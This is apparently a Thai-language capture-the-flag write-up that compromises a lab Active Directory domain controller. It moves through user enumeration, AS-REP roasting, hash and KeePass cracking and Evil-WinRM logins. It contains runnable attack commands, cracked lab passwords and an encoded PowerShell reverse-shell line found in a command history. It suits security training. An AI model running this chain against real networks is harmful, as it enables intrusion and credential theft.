[+] Getting domain groups:
[+] Getting domain group memberships:
===================( Users on 10.52.0.203 via RID cycling (RIDS: 500-550,1000-1050) )===================
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[I] Found new SID:
S-1-5-21-275569690-336870657-3440180796
[+] Enumerating users using SID S-1-5-21-3130005519-2312182476-663475906 and logon username 'guest', password ''
S-1-5-21-3130005519-2312182476-663475906-500 DC01\Administrator (Local User)
S-1-5-21-3130005519-2312182476-663475906-501 DC01\Guest (Local User)
S-1-5-21-3130005519-2312182476-663475906-503 DC01\DefaultAccount (Local User)
S-1-5-21-3130005519-2312182476-663475906-504 DC01\WDAGUtilityAccount (Local User)
S-1-5-21-3130005519-2312182476-663475906-513 DC01\None (Domain Group)
[+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username 'guest', password ''
[+] Enumerating users using SID S-1-5-90 and logon username 'guest', password ''
[+] Enumerating users using SID S-1-5-21-275569690-336870657-3440180796 and logon username 'guest', password ''
S-1-5-21-275569690-336870657-3440180796-500 DROPCTF\Administrator (Local User)
S-1-5-21-275569690-336870657-3440180796-501 DROPCTF\Guest (Local User)
S-1-5-21-275569690-336870657-3440180796-502 DROPCTF\krbtgt (Local User)
S-1-5-21-275569690-336870657-3440180796-512 DROPCTF\Domain Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-513 DROPCTF\Domain Users (Domain Group)
S-1-5-21-275569690-336870657-3440180796-514 DROPCTF\Domain Guests (Domain Group)
S-1-5-21-275569690-336870657-3440180796-515 DROPCTF\Domain Computers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-516 DROPCTF\Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-517 DROPCTF\Cert Publishers (Local Group)
S-1-5-21-275569690-336870657-3440180796-518 DROPCTF\Schema Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-519 DROPCTF\Enterprise Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-520 DROPCTF\Group Policy Creator Owners (Domain Group)
S-1-5-21-275569690-336870657-3440180796-521 DROPCTF\Read-only Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-522 DROPCTF\Cloneable Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-525 DROPCTF\Protected Users (Domain Group)
S-1-5-21-275569690-336870657-3440180796-526 DROPCTF\Key Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-527 DROPCTF\Enterprise Key Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-1000 DROPCTF\DC01$ (Local User)
[+] Enumerating users using SID S-1-5-82-1707688530-3279165083-2510800103-3780832718 and logon username 'guest', password ''
[+] Enumerating users using SID S-1-5-80 and logon username 'guest', password ''
[+] Enumerating users using SID S-1-5-82-3006700770-424185619-1745488364-794895919 and logon username 'guest', password ''
[+] Enumerating users using SID S-1-5-32 and logon username 'guest', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
================================( Getting printer info for 10.52.0.203 )================================
result was WERR_INVALID_NAME
enum4linux complete on Sun Dec 1 01:17:28 2024
ข้อมูลที่น่าสนใจก็ คือ
[+] Enumerating users using SID S-1-5-21-275569690-336870657-3440180796 and logon username 'guest', password ''
S-1-5-21-275569690-336870657-3440180796-500 DROPCTF\Administrator (Local User)
S-1-5-21-275569690-336870657-3440180796-501 DROPCTF\Guest (Local User)
S-1-5-21-275569690-336870657-3440180796-502 DROPCTF\krbtgt (Local User)
เนื่องจากทำให้เรายืนยันได้ว่าในระบบมีการทำงานของ Service Kerberos
88/tcp open kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos
ซึ่งต่อมาเราจะทำการใช้เครื่องมือ Kerbrute เพื่อทำการ Bruteforce เพื่อค้นหา User ในระบบ Active Directory ไปที่ Service ของ Kerberos Pre-Authentication ครับ
แต่ก่อนอื่นเรามาทำความเข้าใจถึง Kerberos Service ก่อนครับ
Basic Kerberos
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
ผมขออ้างอิงจาก Note พี่ตะเช่นเคยครับ ว่ากันด้วยเรื่องของ Service Kerberos เป็น Network Authentication Protocol ที่มีการทำงานยืนยันตัวตนโดยการใช้ตั๋ว หรือ Ticket เวลาที่ User จะร้องขอใช้บริการ Service ในระบบต่างๆ ครับ
จากแผนภาพอธิบายง่ายๆ ว่าเวลาที่เราจะไปเล่นสวนสนุก ก่อนที่จะเข้าไปสวนสนุกได้ก็ต้องซื้อตั๋วเข้าไปเล่นก่อนใช่มั้ยครับ ตั๋วในที่นี้ก็คือ TGT (Ticket-Granting-Ticket) ที่จะสามารถผ่านประตูเข้าไปในสวนสนุกได้ในที่นี้เปรียบเสมือนกับ Windows Domain นั่นเอง จากนั้นถ้าเราจะไปเล่นเครื่องเล่นเราก็ต้องซื้อตั๋วเครื่องเล่นต่อ ในที่นี้ก็คือ ST (Service-Ticket) สรุปแล้วการที่เราจะสามารถใช้บริการใดๆ ในระบบ AD เราก็จำเป็นที่จะต้องมี TGT และ ST ในการใช้บริการนั่นๆ ได้ครับ
Kerberos Authentication
ในกระบวนการยืนยันตัวตนของ Service Kerberos
1. Client -Request-> Windows Server (DC - Domain Controller)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
- 1.1 AS-REQ (Authentication Service Request) : Client ขอเป็น User A
- 1.2 Kerberos Pre-Authentication : Client ส่งค่า Encrypt [Timestamp + User Key = NTLM (Password A)]
กระบวนการดังกล่าวส่งไปพร้อมกันนะครับ แต่แค่อธิบายให้เห็นภาพว่าแต่ละกระบวนการนี้เรียกว่าอะไร
NOTE
- NT (New Technology) LAN Manager (NTLM) คือชุดโปรโตคอล ความปลอดภัยของ Microsoft ที่มีจุดประสงค์เพื่อให้การรับรอง ความถูกต้อง ความสมบูรณ์ และการรักษาความลับแก่ผู้ใช้
src : NTLM - Wikipedia
NOTE
- Kerberos จะต้องมีส่วนเซิร์ฟเวอร์เอาไว้ยืนยันตัวตนชื่อว่า Key Distribution Center (KDC) ซึ่งประกอบไปด้วยอีก 2 ส่วนย่อยคือ Authentication Service (AS) กับ Ticket Granting Service (TGS)
NOTE
- krbtgt Account เป็น Local Account ในระบบ Domain จะถูกสร้างขึ้นพร้อมกับการ Promote domain และถูกใช้เป็น Service account สำหรับ Service ที่ชื่อว่า Key Distribution Center (KDC)
Authentication Service (AS) : เมื่อเครื่องลูกข่ายทำการ Login เข้าสู่ระบบ จะต้อง Authenticate กับเครื่อง Domain Controller และจะได้รับ Ticket ที่เรียกว่า Ticket Granting Ticket (TGT) ขึ้นมาก่อน จากนั้นจึงนำ TGT ไปขอใช้สิทธิ์ในการเข้าถึงข้อมูลในเครื่องอื่นๆ ซึ่ง TGT นี้จะใช้ได้เฉพาะใน Domain ของตัวเองเท่านั้น และสามารถใช้ซ้ำได้เรื่อยๆ ตราบใดที่ TGT ยังไม่หมดอายุ
Ticket Granting Service (TGS) : แต่ถ้าเครื่องคอมพิวเตอร์ต้องการติดต่อข้าม Domain กัน TGT ที่ออกมาตามข้อ 1 จะต้องไปผ่าน TGS ของ Domain ปลายทางอีกทีเพื่อออก TGT ของ Domain ปลายทางซ้ำอีกครั้งหนึ่ง
src : Ransomware แนวใหม่ กับ Golden Ticket ของ Active Directory - mvpskill
IMPORTANTซึ่ง Account นี้จะ Disable ไว้ครับ ลบก็ไม่ได้ แก้ไขอะไรไม่ได้สักอย่างเดียวครับ
2. Client <-Response- Windows Server (DC - Domain Controller)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
- ก่อนที่ Windows Server จะตอบกลับจากขั้นตอนที่แล้ว เมื่อได้รับ AS-REQ (Authentication Service Request) Windows Server จะทำการตรวจสอบ Password Hash ของ User ใน ntds.dit ซึ่งถ้าถูกต้อง และ Timestamp ไม่ซั้า ก็จะตอบกลับด้วยสร้างค่า Challenge
+ NTLM User A = TGT (Ticket-Granting-Ticket) - AS-REP (Authentication Service Response) : ส่ง TGT กลับไปที่ Client
3-4. Client -Request-> Windows Server (DC - Domain Controller)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
-
- ใส่รหัส User A : Decrypt(TGT, key = NTLM User A)
-
- Client ส่ง TGS-REQ (Ticket Granting Service Request) ไปให้ Server
5. Client <-Response- Windows Server (DC - Domain Controller)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
- Server ส่ง TGS-Rep (Ticket Granting Service Response) นั่นคือ Service Ticket (ST) ไปให้ Client
- โดยใน Service Ticket ก็จะมีระบุว่าคนที่ขอไป เป็นใครขอเมื่อไร
ซึ่งเราสามารถใช้เทคนิคที่เรียกว่า Kerberoasting ในการโจมตีครับนั่นคือ เราจะสร้าง Golden Ticket โดยทำการถอดรหัส
- TGT (Ticket Granting Service) จะเข้ารหัสด้วย User A + Key = NTLM krbtgt นั่นแสดงว่า ถ้าเราสามารถ Crack NTLM hash ของ Account krbtgt แล้วได้ Password มาเราก็จะสามารถสร้าง TGT ใหม่โดยเปลี่ยน User แล้วปลอมเป็นใครก็ได้ในระบบ
6. Client -Request-> Windows Server (DC - Domain Controller)
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
- สุดท้ายคือ Client ส่ง Service Ticket (ST) ไปที่ Service ต่างๆในระบบ AD เพื่อใช้ในการยืนยันตัวตนแล้วสามารถใช้งาน Service นั่นได้ครับ 🎉
ที่นี้มาต่อกันครับ ดังนั้นสิ่งที่เราจะรู้ก็คือ User ในระบบ AD ครับ ซึ่งเราสามารถใช้เครื่องมืออย่าง Kerbrute ในการค้นหาครับ
Port 88/tcp
Kerbrute
./kerbrute_linux_386 --dc 10.52.0.203 -d dropctf.prms userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Kerbrute result
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/01/24 - Ronnie Flathers @ropnop
2024/12/01 01:40:27 > Using KDC(s):
2024/12/01 01:40:27 > 10.52.0.203:88
2024/12/01 01:40:28 > [+] VALID USERNAME: stephen@dropctf.prms
2024/12/01 01:40:28 > [+] VALID USERNAME: andy@dropctf.prms
2024/12/01 01:40:29 > [+] VALID USERNAME: guest@dropctf.prms
2024/12/01 01:40:31 > [+] VALID USERNAME: Stephen@dropctf.prms
2024/12/01 01:40:31 > [+] VALID USERNAME: administrator@dropctf.prms
2024/12/01 01:40:35 > [+] VALID USERNAME: Andy@dropctf.prms
2024/12/01 01:40:43 > [+] VALID USERNAME: STEPHEN@dropctf.prms
2024/12/01 01:40:57 > [+] VALID USERNAME: Guest@dropctf.prms
2024/12/01 01:40:57 > [+] VALID USERNAME: Administrator@dropctf.prms
2024/12/01 01:40:58 > [+] VALID USERNAME: franken@dropctf.prms
2024/12/01 01:41:24 > [+] VALID USERNAME: ANDY@dropctf.prms
2024/12/01 01:42:32 > [+] VALID USERNAME: GUEST@dropctf.prms
2024/12/01 01:42:32 > [+] VALID USERNAME: Franken@dropctf.prms
สรุปแล้วเราจะได้ User
stephen
andy
guest
franken
administrator
หลังจากนั้นเราสามารถใช้เทคนิค NTLM Challenge Response เพื่อทำการ MitM (Man-in-the-Middle) เพื่อที่เราจะได้ทำการ Crack NTLM Hash เพื่อหาได้ครับ ซึ่งจะนำไปสู่การที่เราสามารถ Remote เข้าไปในเครื่องเป้าหมายได้ครับ
NTLM Challenge Response
ต่อมาเรามาทำความเข้าใจเรื่องของ NTLM Challenge Response กันครับ
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
-
Client -Request-> Windows Server (DC - Domain Controller)
- ซึ่งใน Client จะมี Process lsass.exe ซึ่งจะรันตลอดเวลาเพื่อเป็นการตรวจสอบความถูกต้องของข้อมูลครับในขณะที่ User กำลังล็อคอินอยู่ในระบบครับ
NOTE
LSASS จะย่อมาจาก Local Security Authority Subsystem Service ซึ่งมีหน้าที่หลักคือช่วยจัดการระบบรักษาความปลอดภัยและล็อกอินของยูสเซอร์ โดยผู้ใช้สามารถพบไฟล์นี้ได้ในโฟลเดอร์ c:\windows\system32 หรือ c:\winnt\system32
src :
-
Client <-Response- Windows Server (DC - Domain Controller)
- Server สร้าง Nonce Challenge + Domain Password (NTLM)
NOTE
Nonce ย่อมาจาก “number used once” โดยในทาง Computer Security หมายถึงค่าที่ได้จากการสุ่มสร้างขึ้นมาสำหรับใช้ในกระบวนการยืนยันตัวตน โดยมีจุดประสงค์เพื่อป้องกันการโจมตีด้วยวิธีการส่งข้อมูลซ้ำ (Replay Attack)
src : Nonce
- ส่งค่า Challenge กลับไปยัง Client
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
-
Client สร้างค่า Response ด้วยการเข้ารหัส Challenge + Timestamp + Key = NTLM Hash ของ User
-
Client ส่งค่า Response กลับไปยัง Server ตัวอย่างเช่น Server = YYYY
-
Server ทำการตรวจสอบ
- Server ทำการเข้ารหัส Challenge + Key = NTLM User = XXX
- โดยถ้า YYYY = XXX ถือว่าถูกต้องครับ 🎉
ที่นี้ครับ มันก็จะมีเทคนิคการทำ MitM (Man-in-the-middle) ในการดักค่าในกระบวนการ ขั้นตอนที่ 4 ได้ครับ
HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto
ที่นี้เรามาต่อกันครับ ดังนั้นเราจะทำการ MitM (Man-in-the-middle) ระหว่างที่ Kerberos Service ส่ง AS-REP (Response)กลับมาที่ เครื่อง Client ครับ เพื่อที่เราจะได้ TGT ออกมาแล้วทำการ Crack NTLM Hash ครับ ซึ่งเครื่องมือที่เราจะใช้นั้นก็คือ impacket-GetNPUsers
Exploitation
Impacket-GetNPUser
user : guest
impacket-GetNPUsers -dc-ip 10.52.0.203 -request dropctf.prms/guest -no-pass
result
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for guest
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$guest@DROPCTF.PRMS:e623e23eeb4098bc6a9d5a25adfb87c5$df44df52bdf8389196fd3ccca6ee9e4c702a5fc1f8e9cfd8b586c43caecb934fd904ae62b787960f45da49d7219e9f437c42afd92976288cd583e5bb62afed97a524a41058de4cde2a12b3e6b7a36e39b4b453255daac420edbdcb76ce2239a5b2ca8ab4eb800081d09be6891888b0cd50b6b40c97c4fbfdba4886feb9e2bb59aa9966d03a4b4abf6e129b4418a85e682d730d44033804fb8100ff3baeeaa9c68d31fd9498a95d4150b9c616f39c1da6399babd44baa32cd71bad65a6a77ada71164a48bc02449c766c72d9ae13ad1651455e32e8ed5dc0b8cc4154ee67b6cdcc5ebf274aa4abd4cc637eb07
user : stephen
impacket-GetNPUsers -dc-ip 10.52.0.203 -request dropctf.prms/stephen -no-pass
result
[*] Getting TGT for stephen
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$stephen@DROPCTF.PRMS:59bdfb987ad980e27743a4aa7499e85c$1b6102ab78bb86a33a8287e14a24c09f5d4e3aee850d0ccb4a1529ce89ab6a4e2d58424c2c329a60c64b05d49300099e653c0f8d6f007175989c2e9466faaac6b861a54a727495e40db7f3f1824ca59e274c53a4f5bc5ea72fda696db38f4bde880607daf8f43dc7d8972e276e525d9be84fe4db42b3f613f4a5f0e37540524f7c1fa810abfe5890b5edc2a5024778a33b6caec0b6ea45e2f78581c3766efbd985540ab3b4623c21105545a1f4c64a3254ba02a3fbadffe5bda1d3dcb334261d52bf8a6a7d8bea5aad9a1b39a48d1c6923f299e2f7ff6ab1bb06b6d70826aa53d72b9ca8e3a6500cb4d4851f
ที่นี้เราจะทำการหา Wordlist กันครับซึ่งผมได้ลองใช้เครื่องมืออย่าง gobuster ในการทำ Directory Fuzzing เพื่อค้นหา Path ที่ซ้อนอยู่ครับ
Gobuster
gobuster dir -u 10.52.0.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
result
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.52.0.203
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,js,css,py,php,sh,txt,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/blog.html (Status: 200) [Size: 4254]
จากนั้นเราก็จะพบกับ Path blog.html ครับ ซึ่งเราสามารถใช้เครื่องมือ Cewl เพื่อดึงคำศัพท์ต่างๆ บนเว็บไซต์ไปทำเป็น Wordlist ได้ครับ
Cewl
cewl -w blogwords.txt http://10.52.0.203/blog.html
result
> cat blogwords.txt
the
Travel
Blog
and
world
with
Mountainking
Explore
Adventure
most
Adventures
World
One
Journey
Time
Home
About
Contact
Discover
Most
Stunning
Beaches
Immerse
yourself
serenity
crystal
clear
waters
soft
white
sands
where
every
sunset
feels
like
painting
Awaits
Mountains
Breathe
fresh
air
take
breathtaking
views
from
majestic
peaks
Embark
journey
for
unforgettable
memories
Uncover
Charm
Bustling
Cities
Experience
vibrant
energy
dazzling
lights
rich
culture
dynamic
urban
landscapes
Crafted
love
share
wonders
beauty
our
travel
stories
stunning
photos
Beach
Getaway
Mountain
City
Exploration
เราจะได้คำศัพท์มาทั้งหมด 82 คำครับ ต่อไปเราก็จะทำการ Crack NTLM Hash กันครับ
John The Ripper
john --wordlist=blogwords.txt hashz.txt
result
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mountainking ($krb5asrep$23$stephen@DROPCTF.PRMS)
1g 0:00:00:00 DONE (2024-12-01 10:06) 50.00g/s 4100p/s 4100c/s 4100C/s the..Exploration
Use the "--show" option to display all of the cracked passwords reliably
จากนั้นเราก็จะได้ Password ของ User stephen มาใช้แล้วครับ 🎉
Evil-winrm
เราสามารถใช้เครื่องมืออย่าง Evil-winrm ในการ Remote เข้าเครื่อง Windows Server (DC) ได้ครับ
evil-winrm -i 10.52.0.203 -u 'stephen' -p 'Mountainking'
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/28/2024 12:49 AM Administrator
d----- 11/29/2024 1:45 AM andy
d----- 12/2/2024 3:32 AM franken
d-r--- 12/2/2024 3:26 AM Public
d----- 11/29/2024 1:32 AM stephen
ซึ่งจะเห็นว่าในระบบมี User ทั้งหมดตามที่เราได้ทำการใช้เครื่องมือ Kerbrute ไปครับ
*Evil-WinRM* PS C:\Users\stephen\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
history
ipconfig /all
ping google.com
routines_mammy6taylor
tracert 8.8.8.8
netstat -an
define("DB_SERVER","dropctf.prms");
define("DB_USER","franken");
define("DB_PASS","cbyyvat5yvzo_fuvsgrq");
define("DB_NAME","secret");
tasklist
taskkill /PID 1234 /F
powershell -e
IiRUQ1BDbGllbnQgPSBOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgnZnJhbmtlbiBwb2xsaW5nNWxpbWJfc2hpZnRlZCAnLCAwKTskTmV0d29ya1N0cmVhbSA9ICRUQ1BDbGllbnQuR2V0U3RyZWFtKCk7JFN0cmVhbVdyaXRlciA9IE5ldy1PYmplY3QgSU8uU3RyZWFtV3JpdGVyKCROZXR3b3JrU3RyZWFtKTtmdW5jdGlvbiBXcml0ZVRvU3RyZWFtICgkU3RyaW5nKSB7W2J5dGVbXV0kc2NyaXB0OkJ1ZmZlciA9IDAuLiRUQ1BDbGllbnQuUmVjZWl2ZUJ1ZmZlclNpemUgfCAlIHswfTskU3RyZWFtV3JpdGV
dir /s /p
cd C:\Windows\System32
mkdir MyFolder
ที่นี้ผมก็ได้ทำการ Enumeration ข้อมูลในระบบด้วยสิทธิ์ User stephen ก็จะทำให้เราค้นพบกับ Password ของ User franken ครับ
ซึ่ง Password ถูกเข้ารหัสด้วย Rot13 ครับ
evil-winrm -i 10.52.0.203 -u 'franken' -p 'polling5limb_shifted'
*Evil-WinRM* PS C:\Users\franken> ls
Directory: C:\Users\franken
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 11/29/2024 1:41 AM 3D Objects
d-r--- 11/29/2024 1:41 AM Contacts
d-r--- 12/2/2024 2:29 PM Desktop
d-r--- 12/2/2024 2:23 PM Documents
d-r--- 11/29/2024 1:41 AM Downloads
d-r--- 11/29/2024 1:41 AM Favorites
d-r--- 11/29/2024 1:41 AM Links
d-r--- 11/29/2024 1:41 AM Music
d-r--- 11/29/2024 1:41 AM Pictures
d-r--- 11/29/2024 1:41 AM Saved Games
d-r--- 11/29/2024 1:41 AM Searches
d-r--- 11/29/2024 1:41 AM Videos
-a---- 12/2/2024 3:32 AM 2434 data.kdbx
ซึ่งจะเห็นว่าในโฟลเดอร์ของ User franken จะมีไฟล์ data.kdbx ครับ
*Evil-WinRM* PS C:\Users\franken> type data.kdbx
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
ที่นี้เราสามารถนำข้อมูล data.kdbx ไปถอดรหัสจาก Base64 ใน Cyberchef แล้ว Save as data.kdbx ได้ครับ
ที่นี้ให้เราทำการ Crack หา Master Password ของไฟล์ data.kdbx กันครับ
Keepass2john
❯ keepass2john Data.kdbx > data_franken_hash.txt
❯ john --wordlist=/usr/share/wordlists/rockyou.txt data_franken_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
No password hashes left to crack (see FAQ)
❯ john --show data_franken_hash.txt
data:007supersecret
1 password hash cracked, 0 left
จากนั้นเราก็จะได้ Password ของ User Andy ออกมานั่นเองครับ
❯ evil-winrm -i 10.52.0.203 -u 'andy' -p 'raises.honor0holds'
*Evil-WinRM* PS C:\Users\andy\Documents> whoami
dropctf\andy
Maintaining Access
ซึ่งในโจทย์เป็นโจทย์สาธารณะผมเลยเจอผู้เล่นบางคนอัพโหลด winPEAS.bat ไว้ที่ Path C:\Temp
ครับ
NOTEwinPEAS.bat เป็น Script ที่เอาไว้ใช้ในการ Enumeration ข้อมูลที่เป็นไปได้ว่าจะสามารถยกระดับสิทธิ์เป็น Admin ได้ครับ
*Evil-WinRM* PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/2/2024 9:58 AM 36622 winPEAS.bat
*Evil-WinRM* PS C:\Temp> ./winPEAS.bat
WinPEAS.bat result
((,.,/((((((((((((((((((((/, */
,/*,..*(((((((((((((((((((((((((((((((((,
,*/((((((((((((((((((/, .*//((//**, .*((((((*
((((((((((((((((* *****,,,/########## .(* ,((((((
(((((((((((/* ******************/####### .(. ((((((
((((((..******************/@@@@@/***/###### /((((((
,,..**********************@@@@@@@@@@(***,#### ../(((((
, ,**********************#@@@@@#@@@@*********##((/ /((((
..(((##########*********/#@@@@@@@@@/*************,,..((((
.(((################(/******/@@@@@#****************.. /((
.((########################(/************************..*(
.((#############################(/********************.,(
.((##################################(/***************..(
.((######################################(************..(
.((######(,.***.,(###################(..***(/*********..(
.((######*(#####((##################((######/(********..(
.((##################(/**********(################(**...(
.(((####################/*******(###################.((((
.(((((############################################/ /((
..(((((#########################################(..(((((.
....(((((#####################################( .((((((.
......(((((#################################( .(((((((.
(((((((((. ,(############################(../(((((((((.
(((((((((/, ,####################(/..((((((((((.
(((((((((/,. ,*//////*,. ./(((((((((((.
(((((((((((((((((((((((((((/
by carlospolop
/!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
WinPEAS should be used for authorized penetration testing and/or educational purposes only.
Any misuse of this software will not be the responsibility of the author or of any other collaborator.
Use it at your own networks and/or with the network owner's permission.
[*] BASIC SYSTEM INFO
